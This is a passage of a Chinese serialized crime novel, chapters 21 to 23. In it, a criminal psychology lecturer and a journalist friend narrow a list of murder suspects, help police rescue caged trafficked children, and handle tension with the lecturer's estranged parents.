“你怎么开了这么一辆老气横秋的车啊?” “这不是市局给我的车嘛。”秦梓需道。 “我还是喜欢你开红色的坦克,够骚包。”章弥真拍了一下已经走到近前的秦梓需的肩膀,笑道。 秦梓需翻了个白眼。 二人并肩进入数媒中心,章弥真用她的自己的工作证带着秦梓需一路向内,畅行无阻。秦梓需习惯性地观察周遭,确认应急通道位置。 这还是她头一回进入大媒体的内部,感觉数媒中心内的景象其实和一般公司差别也不大。 “诶,待会儿你要表现得神秘点、低调点,别动不动掏出你的警官证吓唬人,知道吗?”章弥真叮嘱秦梓需。 秦梓需无语了片刻,道:“我什么时候动不动掏出警官证吓人了?” “还说你没有,打我俩重逢以来,你说说看,哪次我在的时候你没掏过警官证。” “我那是要办案,为了让别人配合我,这不是很自然的事嘛。” “我知道,我的意思是……现在你是我保密项目的项目组长,你不是警察。一会儿见了我们组里的人,你千万别把公安之类的词汇挂嘴上,知道吗?” “行,我知道了。”秦梓需无奈,怎么还需要她来提醒自己注意保密,简直倒反天罡。 二人来到章弥真工作室门口,章弥真指了指小会议室道:“你先到那里面等我。” “哦。”秦梓需穿过大办公室,向小会议室行去。她这一进来,立时吸引了所有人的注意力。她十分淡定,旁若无人地路过,一头钻进了小会议室。 秦梓需故意挑了一个能望见外面大办公室的角落坐下,刚落座,目光就和最靠近会议室门口那个格子间的年轻女孩的目光对上了。秦梓需微微一笑,那女孩则惊了一跳,立刻收回视线,把头埋进隔板后。 【要死了,我刚才和她对上眼了。】孙影拼命打字,发在小群里。 【谁啊到底?】大鹏好奇问。 【看气质,在真老板面前未落下风,好像是个大佬。】刘为朗道。 【废话,真老板都亲自去接的人,当然是大佬啊。肯定是那个保密项目的负责人吧。】孙影吐槽道。 【咿呀,好帅一个女人,气质很儒雅。?】朱瑛发了个爱心。 【球姐你又直女装姬。】大鹏龇牙咧嘴。 【什么话!我那是欣赏好看的人,不分性别。】朱瑛反驳道。 此时章弥真抱着一摞文件从大办公室路过,所有人不约而同切掉小群窗口,假装自己很忙。 待章弥真进了办公室,带上了门。众人才又聊开了: 【我是不是腐眼看人姬,我觉得真老板和那大佬很配呀。】大鹏道。 【你这个百合控能不能收敛点!】孙影道,【真老板是独身主义者,不爱男也不爱女。】 【你又知道了?怕不是你背着我们偷偷勾引真老板,想傍上富婆不再努力,是吧。】刘为朗起哄道。 【我是真老板的迷妹,纯洁的迷妹关系!我才没有那种卑鄙想法!】孙影红温了,气得在小群里狂发表情包。 【你们安静点,打字声太大了,我还想听她们聊啥呢。】朱瑛制止这帮疯子。 【就是,你们吵死了。】一直不发话的吴岚冷不丁冒出这么一句话,众人差点笑死在办公桌前。 原来连吴妈都在八卦。 此时的小会议室里十分安静,秦梓需正蹙着眉头看章弥真递给她的一份名单。这是章弥真和她手下团队耗费了一个上午,一个一个打电话整理出的名单。 “我只能说我尽力了,当年那届高三生上过鸿鹄教育的我尽力都搞来了,这些人分布在附近的几所高中里,一共189人。” 秦梓需道:“数量上大差不差,鸿鹄教育每一届收的学生大概都是这个数,再多他们也顾不过来了。可以,你这个名单已经很全面了。” 章弥真笑了:“那是,我们工作室的人还是很厉害的。”她本来还想让秦梓需来帮忙,没想到赶在秦梓需来之前就搞定了,她的工作室成员确实能力在线,效率一流。 她随即指着名单解释道:“这后面打了三角符号的,都是胥中毕业的人员。我看了一下,一共有109人,还挺多的。你还记得柳大嘴吗?她立了大功,这份名单就是她搞来的,省了我们不少功夫。” “柳大嘴?是柳鸣吗?你们班的那个宣传委员?”秦梓需回忆道。 “对,就是她!她现在在教育局工作呢,咱们班上几次同学聚会都是她组织的,她把每个人的情况都摸得一清二楚。” “呵,还真有这样的人啊。”秦梓需笑了。 “是啊,特别能钻营的一个人,打小就知道要经营人脉,在这方面她可比我厉害多了。”章弥真撇嘴道。 秦梓需拉回话题:“好,咱们再进一步缩小范围。凶手的画像:身高175以上,男性,初中上的胥中,家中亲属有医药背景。符合这四个条件,应该能再筛掉绝大多数的人。” “你确定凶手就在这名单里吗?” “不能确定,但可能性非常大。”秦梓需道。 “初中一定要限制在胥中吗?会不会是别的学校的学生?”章弥真其实心理上还是不大能够接受自己当年的同学居然会是杀人凶手这件事。 秦梓需安慰道:“陈老师从没兼职过补习班老师,很难接触到外校学生,所以我认为还是胥中学生的可能性最大。别怕,咱们现在就当是在做实验,不一定就是对的,别有负担。” “好。我来看看。” 二人凑到一起,先将她们熟悉情况的人员过了一遍,还有一些不熟悉的人,诸如不了解身高,不了解家庭背景的,她们又再一次通过调取初三体检记录,比对公安系统进行确认。 时间在忙碌中飞速流逝,五个人从这份名单中被慢慢筛选了出来。分别是: 1、李威,身高178cm,初中:胥中4班,高中:六中8班。大学:东海师范大学历史学系。学历:博士,职业:留本校任教,现职称为讲师。其母为护士。 2、王志刚,身高182cm,初中:胥中6班,高中:二十四中5班。大学:胥城工业大学土木工程系。学历:本科。职业:某建设局工程师。其父母都是医生。 3、张建民,身高176cm,初中:胥中3班,高中:六中2班。大学:东海外国语大学日语系。学历:经济学硕士,留日3年。职业:回国进入某家日企工作,现居上海。其母是医生。 4、魏嘉康,身高179cm,初中:胥中4班,高中:胥高4班。大学:东海大学计算机工程系。学历:本科。职业:软件工程师,供职于一家名叫华新高科的公司。其父是医生,其母是一家药企的医药代表。 5、沈赓,身高180cm,初中:胥中1班,高中:二十四中6班。大学:山东大学环境工程系。大学二年级时入伍服役2年,完成学业后继承家业,现经营一家纺织服装厂。他的叔叔是医生。 秦梓需盯着这份名单看了半晌,未曾言语。章弥真问道: “现在是不是该查这5个人案发时是否有去买过车票?” 秦梓需摇头,她看向章弥真问道:“不急,你看着这份名单,有没有什么疑问,或者感觉?” 章弥真紧蹙眉头,瞧了半晌,道:“我说不上有什么感觉,其他人我不大熟悉,但张建民我熟,毕竟是我同班同学,他跟我一样偏科,数学成绩一般,陈老师也会给他单独辅导。我感觉他和陈老师关系一般化,他既不喜爱陈老师,更谈不生恨,就是很普通的师生关系。毋宁说,他可能并不大在乎陈老师,那个年纪的男生,都有些没心没肺的。” 秦梓需道:“你有没有觉得这5个人的家境都不错,且后来发展得也挺好?” “是啊,这有什么问题吗?毕竟胥中算是胥城最好的初中了,一定程度上,能上胥中的孩子,未来只要不出岔子,前途肯定是比较好的,这不奇怪。”章弥真不解道。 秦梓需摇头:“不,没有无缘无故杀人的人,一个15岁、家境优渥、家庭环境和谐的孩子在毫无征兆的情况下突然对自己的老师迸发邪恶的杀人念头,并且付诸实践,这概率几乎可以为0。我一向不把这种极低概率事件纳入讨论范围。 “在犯罪心理学里,我们极为重视研究罪犯童年时所受到的各种影响。这个罪犯,如此高智商且心狠手辣,他的童年一定经历了某个事件,扭曲了他对这个世界的看法。他的成长环境必定压抑,让他养成了隐忍又伺机而动的性格,他喜好独处,喜好动脑,享受以智慧碾压他人的快感,内心自负至极。” 章弥真沉吟片刻,指着名单道:“这里面有两个都是你们四班的,你对这两人有什么了解?” 秦梓需摇头道:“据我所知,这两个人都不符合我的画像。李威非常阳光单纯,甚至上学那会儿可以说是傻头傻脑,没心没肺。魏嘉康虽然性格比较内敛,但我见过他和父母相处,很和谐,他是个…很有松弛感的男孩,不急不躁的。” “有没有可能是知人知面不知心?” “不好说,但从长期的行为观察来看,我认为我没有看错。”秦梓需道。 章弥真无奈道:“我们目前能查到的,就只有这些表面的东西,除非去直接接触这5个人,否则我们很难深挖他们家庭内部到底有没有什么问题。” “直接接触是不行的,打草惊蛇。对了,你们上午打电话时,你有没有直接和这五个人通话过?”秦梓需问。 “我没有打电话,我怕被人认出声音。所以让外头的团队帮我打的。”章弥真道。 秦梓需点头,神情严肃:“那就好,我很担心惊了兔子。我们现在手头上掌握的证据还是太少了,连一项确凿的证据都不存在,更别说形成证据链了。一旦惊了兔子,要想再抓住他,那真是难如登天。” “那张列车名单里,能不能找到这5个人呢?如果找到了,岂不是就合上了其中一环?”章弥真道。 秦梓需叹息:“不行,座位号和人对不上呀。而且就算现在去查行踪轨迹也已经太迟了,已经15年过去了。” “唉!那怎么办?就干耗着等实验室结果吗?”章弥真捋了一把自己的长发,显得有些焦躁。 秦梓需看了下表,吓了一跳:“呀,怎么都快六点了。” 章弥真这才注意到已经到了下班时间了,不过外间依旧很忙碌,传媒很少能准点下班。 “我本来还想带你出去转转的,但现在有点晚了,明天吧。”秦梓需道。 她随即双手交叠放在桌面上,看着章弥真,神情显出一丝神秘的意味:“我这里有一道思考题,咱们一起动脑筋。如果你是凶手,你会用怎样的借口骗一个心怀警惕的中年女人跟着你一起上公交车,去往一个陌生的地方?”【你现在阅读的是 】 20-30 第21章 第二十一章 章弥真问道:“这问题是什么意思?你觉得被害人上了公交车?” 秦梓需点头,她将自己上午独自查找的过程,以及她的所思所想都详细复述了一遍,末了道: “所以,这个问题十分困惑我,我想不明白为什么被害人真就跟着他走了。如果这种诱骗不成立,那么我的推论必须被全盘推翻,从头再来。”秦梓需道。 章弥真眸光失焦,倚在靠背上陷入思索,这个问题也同样困扰了她。显然,被害人如果是来胥城查找害死陈老师一家的犯人的,她一定具备极强的警惕心,面对一个年轻的陌生男性,她很难被轻易诱骗,直接就跟着对方走了。 为什么呢? 就在这时,突然响起了敲门声,吓了章弥真一跳。她起身过去开了会议室的门,就看到吴岚站在门口: “要吃晚饭了,你们要点什么,我们打算今晚吃那家洪福面馆的拌面。” “老秦,今晚上留下吃饭吧,蟹黄拌面吃吗?”章弥真回头看秦梓需。 “这么奢侈,那当然要吃。”秦梓需笑道。 “好嘞。”吴岚转头传达,“再加两份蟹黄拌面。” “姐,今天的工作都做完了吗?有没有哪里有困难,我来做。” “你放心,今天倒是很平静,没发生什么事儿,不忙。”吴岚笑道。 章弥真闻言面色一变,暗道一声不好。结果下一刻,她的手机就响了,她一看来电,秒速接起: “喂?……啊?我不知道,她没联系我……电话打不通吗?这样,我马上过来。” 她面色凝重地挂了电话。 “怎么了?我不是又乌鸦嘴了吧。”吴岚愕然问道。 “那个跳楼的女孩突然不见了,派出所问我知不知道她在哪儿呢。我去一趟派出所,晚饭你们给我留着吧。” 说着她想回头喊秦梓需,却见秦梓需已经飞速收拾好东西。她从大包里抽出一条黑色的战术腰包扎在腰上,挎着大包跟了过来。 二人很默契地没说话,脚步匆匆,相伴离去,留下一办公室面面相觑的人。 “总感觉真老板在忙什么不得了的事,那位大佬不会是警察吧。”孙影嘀咕道。 “我看着不像警察啊,像老师。”朱瑛道。 “你不知道,我跟她对视了一眼,她的眼神非常锐利深邃,我感觉自己被一瞬间看穿了。”孙影道。 “你又胡扯啥呀,小说看多了吧。”吴岚吐槽她。 “还说呢吴妈!您真是传说级的乌鸦嘴。” “嘿你这小丫头,小心我画个圈圈诅咒你天天加班。” “不要啊吴妈,我错了我错了……” …… 章弥真一面赶往停车场,一面不停地拨打跳桥女子的手机号。但始终是忙音,无人接听。 她本想坐电梯下到地下停车场取车,但电梯这会儿特别慢,秦梓需直接拽住她手臂,带着她往楼梯间走,二人一路走楼梯飞速下到一层,上了秦梓需的车。 秦梓需驱车过程中,章弥真不知打了多少遍电话,始终未曾接通,加上这会儿晚高峰正好遇上路上拥堵,她急得头顶冒烟,一时间显得异常焦躁难安。 “这女的到底什么毛病?为什么到处乱跑啊,我之前跟她千叮咛万嘱咐,要她老实待在救助站不要乱跑,等公安查清楚她的事。”章弥真都要骂街了。 “电话里有没有说她什么时候不见了?”秦梓需相当冷静地问道。 “大概是下午4-5点这个时间段,4点时收容站的人还看到她,5点后她突然就不见了。”章弥真道。 秦梓需把自己的手机递给章弥真:“你用我的手机打她电话,看她接不接。” 章弥真依言行事,秦梓需则专心驾车。章弥真这会儿才感受到秦梓需驾驶技术的高超,她迅捷地操纵着车子在车流中不断前进,同时提前规避一些异常拥堵的路段,她不用导航也能做到预判,看来对胥城的路况已经烂熟于心。 用秦梓需的手机拨了一会儿,没想到竟然真的接通了,章弥真吃了一惊,连忙把电话开了免提递到秦梓需口边。 “喂?”秦梓需情绪十分稳定地出声。 电话那头传来一阵衣服摩挲的声响,然后就是喳喳的杂音,像是放在口袋里,手机话筒和什么东西碰在了一起。秦梓需不说话,只是安静地听。 又过了一会儿,声音突然通透,她们听见了女人压低嗓音的气音: “警察姐姐,你快来帮我。我现在看到他们了,他们就要逃跑了。” “好,你在哪里?”秦梓需轻声问。 章弥真对秦梓需这会儿的定力佩服得五体投地,要知道刚才女人的那句话,已经让她汗毛竖起了。这家伙居然胆大包天地独身去捅贼窝了吗?她以为她是谁啊,惊奇队长吗? 而且她为什么不接自己的电话,偏偏接了秦梓需的?章弥真气得七窍生烟,却只能憋着发泄不出来。 “就是那幢大楼……”她说不清楚。 “嗯……那楼长得像什么呢?” “长得像……黄瓜!” “你在楼底下吗?” “嗯,我在地下室。” “好,你在原地蹲着别动,我们很快就到,电话不要挂,我要听到你那边的情况。”秦梓需道。 一边说着,她一边从口袋里掏出了自己的蓝牙耳机,递给章弥真,指了指自己的耳朵,示意她帮忙把耳机带上。 这么做的目的是为了让秦梓需能更专注地听到细微的响动,同时减少秦梓需这里的环境杂音传到对方那里去。 章弥真略显手忙脚乱地把蓝牙耳机刚塞进她的耳朵,秦梓需就做了个打电话的手势用口型示意她联系派出所。她现在尽量不开口说话,怕声音通过电话传过去,会暴露跳桥女子的藏匿位置。 章弥真秒懂,一边操作手机一边问:“在哪儿?” 秦梓需左手扶着方向盘,右手操作手机地图,一心二用,一边继续加速前行,一边拨动地图,点到了一个位置上。 章弥真看清那个位置,立刻直接给胡警官去电话,对方秒速接通:“在鼎峰大厦,应该是地下室,你们赶紧过去。” 对方那里得到消息,应了一声就挂了,章弥真都没反应过来。 而此时,秦梓需和跳桥女子本来一直维持着的通话也突然断了。秦梓需没有再次呼叫,因为在电话挂断前,她听到了惊叫声和搏斗声,还有手机落地的声音。她知道跳桥女子出事了,她的神色也彻底凝重了下来。 “电话断了,情况不大妙,你坐稳了。”秦梓需摘掉耳机,随手摔在仪表盘前的凹槽里,抬手打开了这辆警车的警报器,直接开始闯红灯飙车。副驾上的章弥真登时心跳加速,立刻抓住安全把手,浑身紧绷,死死盯着前方路况。 秦梓需娴熟地驾驶着这辆老车,这车估计是最早版本的途观,居然是手动档的,在车流中穿梭时,秦梓需不断地刹车、变速、打方向变道、加速,章弥真能听到耳畔不断传来她操作车子发出的杠杆咔咔声,能听到油机的轰鸣,感受到齿轮的咬合颤动。 车行两个街口,遇上前方堵塞,秦梓需方向盘一打,直接开到了慢车道上去,在狭窄的车道里跟一大帮电动车挤在一起往前冲。 电动两轮车都被警笛吓坏了,纷纷避让,秦梓需瞄准人行道侧面出现的斜坡,直接将一侧轮胎骑到人行道上,斜着车身向前冲,避让开狭窄慢车道上靠边的一长列电动两轮车。 靠,这特么太刺激了!章弥真忍不住扭头瞄了她一眼,此时的秦梓需全神贯注,神情紧绷,甚至还神乎其技般绕开了一只被吓得乱窜的狗,她的反应和预判能力简直超神。 章弥真已经有些晕车了,搞不清楚她们到底走了哪条路,只知道秦梓需七拐八绕,突然就在一幢大楼的后巷停车了,她解开安全带,飞快地叮嘱一声: “你没有执法权,待在车上别下来。” 说着就开了车门下车,飞快跑进大厦内部。 章弥真望着她的背影,一咬牙,开了副驾的门也冲了下去。 开玩笑,老娘战地记者可不是吃素的,别看不起我!章弥真一边跑,一边飞快的将自己的手机调出录像,攥在手里狂奔。 靠!秦梓需这个家伙怎么跑得这么快!老娘……老娘一周两次间歇跑,800米也能跑进3分10秒,竟然追不上她!章弥真眼见着秦梓需与她的差距越拉越远,眼睛都瞪大了。 她眼见着秦梓需跑进了地下车库,在尽头拐弯处身形一闪消失。她端着手机气喘吁吁地追上去,巨大的地下空间将她吞没,她听到了脚步空荡的回音。 “站住!”她突然听到了秦梓需一声断喝。章弥真心头一突,加紧脚步跟着转弯。 一转弯就看到秦梓需正面对一个持刀男人,那男人手里的刀像是把菜刀。秦梓需抬腕,手里不知何时多出一支笔,那笔头爆射出刺目的闪烁白光,晃得那男人登时什么也看不清,下意识抬左手遮挡,持刀右手胡乱挥舞。 好家伙,战术笔!章弥真立时抬起手机,稳住镜头捕捉画面。 秦梓需趁机垫步上前,飞起一脚精准踢飞对方手里乱舞的刀,随即欺进对方空门大开的身前,笔身翻转,扎在对方的肋下,对方登时痛呼惨嚎,秦梓需拿住对方手臂,一个反拧,脚下配合着一绊,动作快到不可思议,看似并不强壮的身躯刹那间爆发出惊人的力道,一下就将那男人狠狠撂倒在地。 远处,还有一个男人见状不妙,立刻往反方向遁逃,秦梓需没去管那个男人,而是跪压在被撂倒男人的背上,从腰包里抽出两根扎带,将被她撂倒那个男人的手脚反绑。 绑完了,她就继续往里面跑,章弥真远远绕开这个惨嚎骂声不断的男人,跟了上去。 秦梓需继续去追那个遁逃的男人,不过很快,地下停车场四面八方都出现了公安干警,很快把他堵死,不需要秦梓需上阵,这个男人就被三名男警冲上去狠狠摁倒在地。 秦梓需气喘吁吁地收起笔,取出警官证,干脆挂在脖子上。 混乱的人群中,她一眼看到了老胡,向他招了招手,老胡惊讶出声:“秦老师?!” “还有一个,被我绑在进车道那里了。”秦梓需道。 “你们几个赶快去!”老胡连忙指挥手下几个小伙子去收人,随即满脸堆笑,“您简直是及时雨!” “那个女孩救下来了吗?”秦梓需问。 “救下来了,您放心。”老胡道。 “所有的嫌疑人都抓到了吗?” “一共四个都落网了,其实本来都要收网了,没想到那女人突然出现,把我们的部署都搅乱了,差点坏事。要不是您及时赶到,可能得跑掉两个人呢。这要是跑出去,弄出更大的乱子,真是想想都后怕。”老胡抹了把汗道。 “我想去看看她。” “没问题,我带您去。”老胡转身带路,秦梓需扭头向后看,果然看到了章弥真缀在后面,这家伙真的是名副其实的胆大包天,她喊了一嗓子: “弥真!过来!跟紧我了。” 章弥真突然被cue,见秦梓需叉着腰,正皱着眉头望着自己,她的T恤领口都汗湿了,额前碎发也被汗水打湿,模样莫名的帅。 章弥真唇角溢笑,举着手机一路上来,镜头几乎要怼在秦梓需的脸上。 秦梓需向后撤了一步,无奈道:“别拍了,马上去看那个女孩。” “好。”章弥真立刻关掉摄像,反正刚才的精彩画面她都捕捉到了,她可是生平头一遭亲临抓捕现场,目睹警察抓人,而且还是一对一、女抓男、瞬秒,简直不要太精彩。 这么好的素材……该放在哪里放出才好呢?她琢磨起来。 第22章 第二十二章 章弥真看到了极具视觉冲击的画面。 在地下室对外出租的一间不足十平米的仓库中,有三个脏兮兮的小孩被关在一只用来装狗的大铁笼里,他们看上去非常瘦小,营养不良,蜷缩着身子瑟瑟发抖。身边放着不锈钢饭盆,里面装着一点混浊的水。 除了这个笼子,仓库中堆积着大量的杂物,有泡沫箱、压扁层叠的纸箱子,大量用塑料袋兜着的易拉罐和可乐瓶。这些捡来的废旧物品。几乎占据了大半间屋子,将笼子严严实实挡在深处,进来的人若不仔细查看,可能真会忽略掉内里的玄机。 屋子里散发着酸臭难闻的气味,那三个孩子不知多久没有洗过澡了,蓬头垢面,几乎看不清模样。两个警察正蹲在笼子旁,尝试用工具把笼子上的琐撬开。 除此之外,这里面夹杂着食物腐坏后的臭气,还有大量废品内微生物滋生繁殖所释放出来的气味,刚走到门口,秦梓需和章弥真就被熏得脑仁生疼。 章弥真连忙取出随身携带的独立包装的湿巾纸,捂住口鼻,她本想给秦梓需一个,但见秦梓需只是蹙着眉头,已经走进去了,她一时踌躇。 那个跳桥女子就在笼子旁盘腿坐着,看上去非常虚弱,处在一种半昏迷的状态,神情委顿。她头上多出一道血淋淋的口子,正有一位女警用医用急救包里的纱布为她止血。 “她怎么样,没事吧?”秦梓需问。她本想和她聊聊,现在看来得等一段时间了。 老胡解释道:“头上挨了一棍子,头皮破了,但伤得应该不太重。幸好我们来得及时,当时那四个人已经抓住她,正把她往这库房里面拖。我们立刻出来阻止,他们丢下她就跑了,我们立刻组织抓捕,先拿住了两个人,另外两个人非常熟悉这里面的道路,跑得贼快,我们差点没拿住,后来秦老师您就来了,多亏了您及时赶到啊。” “这真是太危险了,万一有个好歹,她今天就得交代在这里。”秦梓需显然有些后怕。 “是啊,她真的是……不知天高地厚,还不好说她什么,唉……”老胡显然也憋了一肚子气无处发泄。 “那个F出口的地下停车场出入口,你们怎么没派人看着?”秦梓需又问。她指的就是她和章弥真刚刚进来的入口。 老胡解释道:“本来是布了人的,但这不是因为她突然出现了嘛,我们发现她时,F口的两个警员离得最近,所以赶紧让他们先进去把她带出来,没想到警员走到半途,她就被歹徒发现了,她和歹徒之间还发生了一段追逐和搏斗,两个警员为了救她就被引到了深处去,我们也被迫提前行动,F口就漏出来了。 “对了秦老师,您怎么会这么恰恰好就从F口进来了?” 秦梓需道:“预判的,这个说来就话长了,我其实早就对鼎峰大厦起了疑心。据我所知这大厦的保安制服和警服很像。 “今天上午我正好开车路过这里,干脆就绕着这里转了一圈,我发现这大厦后面这条小巷挺隐蔽的,出入监控也少,而且我当时看到有人在给一辆电动的快递厢式送货车车身上贴广告图纸,我觉得有点可疑。所以也是抱着试试看的心态。” “您可真是神了!他们那帮人就是用二手的电动快递厢式货车运送小孩的,一个嫌疑人驾车,将小孩锁在车厢内,抵达指定位置后把小孩放下,让他们去收捡破烂,并且偷窃。” “他们拐了多少小孩子?”秦梓需问。 老胡道:“目前能确认就这三个,这三个孩子都是流浪乞讨的儿童,不知道身份,也不知道这帮混蛋到底是从哪儿拐来的。我们盯梢盯了2天,确定他们就控制着这三个小孩。加上这个女的,都是身份不明。具体情况,还要审了才知道。” 此时,外面传来了急匆匆的杂乱脚步声,有一大群人来了。原来是消防救援和120的人都赶来了,给他们带路的是一位看上去大概四十来岁的男子。 消防救援将那笼子上的大挂锁用电锯刀锯开,三个孩子被救了出来,连带着跳桥女子一起被送上了120急救车。老胡身为本案的主办侦查员之一,跟着上了120去了医院。 现场人声鼎沸,喧嚣杂乱。人人都有事忙,秦梓需和章弥真反而显得有些多余了,二人并肩站在稍稍远离库房的位置,被熏得受不了的章弥真总算能喘息了。 “我的天哪,你怎么都不觉得臭的?”她能呼吸了,也终于开口说话了。 “当然臭,忍忍就习惯了。”秦梓需吸了吸鼻子道。 章弥真吁了口气,问道:“我抽支烟,你不介意吧?” “你随意。”秦梓需道。 章弥真从牛仔裤的口袋里取出了精致的铁烟盒,抽出一支烟来点燃,青烟袅娜,有果香隐现。 “不过我还是要劝你戒烟的,吸烟到底对身体不好。”秦梓需道。 “哈哈,我没有烟瘾的,可以抽可以不抽,就是心烦的时候,来一支,会舒坦点。”章弥真解释道。 “这么说你不怎么心烦意乱?”秦梓需反问。 “那是。”章弥真笑了。 “怎么这会儿又心烦意乱了?”秦梓需追问。 “你这台词……很座山雕啊,干嘛盘问我?” 秦梓需无语。 “我就是在想,这些犯罪分子,到底脑子里缺了什么,能让他们干出这么没人性的事。那么小的孩子,被关在笼子里,被当成工具使用。你知道……我小时候跟我父母出去旅游,遇见景点有人耍猴,我看着都会不舒服。你说,我看到那三个孩子,我心里怎么可能会好受?”章弥真又深深吸了一口烟。 “你不会是想让我给你上一堂犯罪心理形成规律的课吧。”秦梓需回道。 章弥真失笑:“哈哈,好好好,秦老师,我洗耳恭听,你说吧。” 秦梓需夺过她手里的烟,自己吸了一口,丢在脚下碾灭,一边吐着烟,一边道:“早点戒了吧,不管有没有烟瘾,都别抽了。你是好人,好人就该长命百岁。心里难受,就去跑步,戒了烟,你能比现在跑得快很多。” 章弥真呆呆地望着她,本夹着烟的手还举在半空。 “你以前也抽烟?”章弥真轻声问。 “戒了,戒了有六七年了吧。”秦梓需道。 “怎么戒的?不会真是靠跑步吧。” “靠系统性的柔道和摔跤训练戒掉的,当然也包括跑步。”秦梓需道。 章弥真沉默了,二人盯着远处忙碌的一大群人,半晌无言。直至方才那位40来岁的男子走了过来,对方率先开口道: “秦老师,您好,我是南丰区分局刑警大队的大队长耿剑秋。”他伸出手来。 “哦,您好,终于和您见面了。”秦梓需和他握手。 秦梓需返回胥城的第二天就去拜访过这位大队长,奈何当时对方正在外面忙着查案,她没见到本人。 “实在不好意思,上一回您来找我,我没在。今天居然在办案现场遇见您了,感谢您出手相助。”耿剑秋道。 秦梓需摇头,耿剑秋又看向章弥真,和章弥真打招呼握手。听闻章弥真自我介绍是记者,一时间有些讶然。 “啊,章记者现在签了保密协议,正在帮我办案子。”秦梓需代为解释道。 “哦……”耿剑秋点头,看他的样子,他似乎对于记者帮忙查案感到十分困惑。 章弥真眉头隐隐蹙起,显出一丝并不明显的不快。 “秦老师,您有什么需要我帮忙的,尽管打电话给我。”他道。 “那好,我想过两天和那个成年女被害人见一面聊聊,耿队给行个方便。”秦梓需真不客气,直接提要求道。 “这和您要查的案子有关?”耿剑秋更困惑了。 “算是有关吧。”秦梓需给了一个模棱两可的回答。 “好,我来安排,到时候我给您发消息。”他一口答应下来。 此时后方有人喊他,耿剑秋抱歉一笑,急急忙忙离开,走时还回头看了秦梓需、章弥真一眼。 “这位就是你之前想找来帮忙的人?”章弥真口气有些不屑。 “这位算是我学长,他是校长的学生,我和他关系不算近,之前也不认识。爆炸案和抛颅案追根溯源都发生在南丰区地头上,实际上他才是最该侦办此案的人,不过……你说得对,查这种案子,还得我们亲自来,别人指望不上。”秦梓需道。 “是吧。”章弥真看着秦梓需,一脸“孺子可教”的笑容。 此间事了,二人返回车上,秦梓需驱车,询问章弥真道:“你打算去哪儿?我送你回家?” “回数媒中心吧,咱俩的晚饭还没动呢。你晚上有事没?” “暂时没有。”秦梓需道。 “那咱俩再讨论讨论案子,数媒中心有健身房,要不一起练练?” “好啊。”秦梓需来了兴致。 “你这身手看不出来,很厉害啊。柔道是吧,摔跤是吧,乖乖……好硬,是真肌肉。”章弥真乱捏秦梓需的手臂,秦梓需不堪其扰,道: “别乱动,开车呢!” “怕什么,你驾驶技术不也很牛吗,你们公安大学的教授都这么厉害吗?”章弥真继续骚扰她。 “公安大学有一门课叫警务驾驶,这个其实和社会上驾校的教学内容差的不太多,通过后可以直接拿驾照。这门课还有一个升级版,就是特警的特种驾驶技术。不是每个人都有必要掌握特种驾驶技术,我是这次回来查案前,跟着特警集训过三个月。”秦梓需解释道。 “为啥呀?”章弥真问,“你自己感兴趣吗?” “不是,我只是为了有能力应对危急情况,我师傅也劝我多练练这些对抗性的训练,有点本事在身上,长胆量,遇事儿不会慌。因为公安办案,说到底是与人斗,我们搞犯罪心理的尤其如此,需要有一颗强心脏。”秦梓需道。 “确实,我也想练,你教我。”章弥真道。 秦梓需无奈:“这不是一时半会儿能练出来的。” “那就慢慢学嘛,我不着急。”章弥真道。 就在这时,章弥真的屁股底下猛然震动起来,并传来了闷闷的响铃声。章弥真吓了一跳,这才发现原来是之前下车时特别着急,她把秦梓需的手机丢在了副驾座位上,然后上车时也没注意,直接坐在了身下。 “是不是实验室有新消息了?”秦梓需兴奋起来。 “不是……”章弥真面色古怪,把来电显示亮给秦梓需看,“是你爸爸。” 秦梓需神情僵住了。 第23章 第二十三章 “别接,放一旁吧。”秦梓需道。 “哦……”章弥真决定不干涉她的决定,毕竟这也不是她能干涉的事。 电话顽强地响了好一会儿,终于挂断了。但很快又再次响起,这次是秦梓需的妈妈,秦梓需仍然不理,章弥真默默观察她的神色,面上看不出来,但秦梓需开车的手法明显有些烦躁。 等到秦妈妈这通电话也断了,章弥真才敢出声道: “该不会是你爸妈知道你回来了吧。” “多半是。” “到底是怎么知道的?” “他们有他们的渠道,我回来后,接触了不少人,也做了不少事,跑了不少地方,很有可能在不经意的情况下让他们知道我回来了,这很正常。”秦梓需道。 结果没等一会儿,秦梓需手机突然又亮了,短促又熟悉的铃声响起,是微信消息进来了。章弥真瞄着那个屏幕,想看又不敢看,秦梓需好像猜到了她的心思,道: “你帮我看下。” “哦。”章弥真拿过来一瞧,肝颤了一下,“是你爸爸,说你有本事不接电话,最好一辈子也别回家。” “哼。”秦梓需冷笑了一声。 章弥真不敢说话,默默把秦梓需的手机放回支架上。 二人沉默着回到了数媒中心,彼时已经是快晚8点了,仍有同事在加班。但章弥真工作室的人基本都走了,只有吴岚留了下来。 “姐?你今天怎么加起班来了?”章弥真很惊奇,因为吴岚往日里很少加班,基本都是准点走,因为她每天下班后都有个固定行程——去猫咪之家照顾流浪猫。 “等你回来呀,哟,这位……还在呢。”吴岚笑呵呵望向秦梓需。 “秦梓需。”后者忙上前一步,伸出手自我介绍。 吴岚和她握了握手,章弥真抢着介绍:“这是咱们的责编吴岚。” 随即她问道:“等我回来做啥,有事儿?” “我这儿有个情况,也不知道该不该和你提一下。我老公大姐家的女儿,不是胥高毕业的嘛。今儿联系她之后,她突然传了一个短视频给我瞧,想让我问问你认不认识这短视频上的人。我一瞧……这不是秦老师嘛。” 章弥真一看那短视频正是秦梓需在白虎桥上救人的片段,心里一突,道:“她也认识老秦?” “这……她初中是胥中的呀,比你要小一届。她说这视频里的人长得特像她初中时的上一届的学霸学姐。因为知道我跟着你做事,所以想问问你。我这也不好胡说,刚看你们俩走得那么急,怕不方便接电话回消息,我也没敢联系你们,就打算等等你们。” “你问她这视频是不是已经在同学群传开了。”章弥真道。 “她说这视频就是同学传给她的。而且还有一张你和秦老师的合影,好像就是最近拍的,也传开了,她还发给我看呢。”吴岚道。 完蛋!章弥真扶额,那是她和秦梓需重逢的第一天,她随手拍了一张二人的合照发到同学群里了,结果就把这事儿忘在了脑后。 没想到一传十十传百,发展到大家都知道的地步了。怪不得秦梓需的父母亲也知道他回来了,都传成这样了,哪儿能不知道呢? 可这不能怪她,当时的她根本不知道秦梓需回来是对父母亲保密的呀! “抱歉老秦,应该是我的锅。”章弥真懊恼道,她真的忘了她自己的人脉到底有多强大了,随手一张照片都能造成广而告之的新闻效应啊! “事到如今,顺其自然吧。”秦梓需苦笑一声,叹息道。 吴岚尴尬笑笑,指了指茶水间道:“给你们点的面拨到微波炉碗里了,你们热热吃,我就先走了哈。” 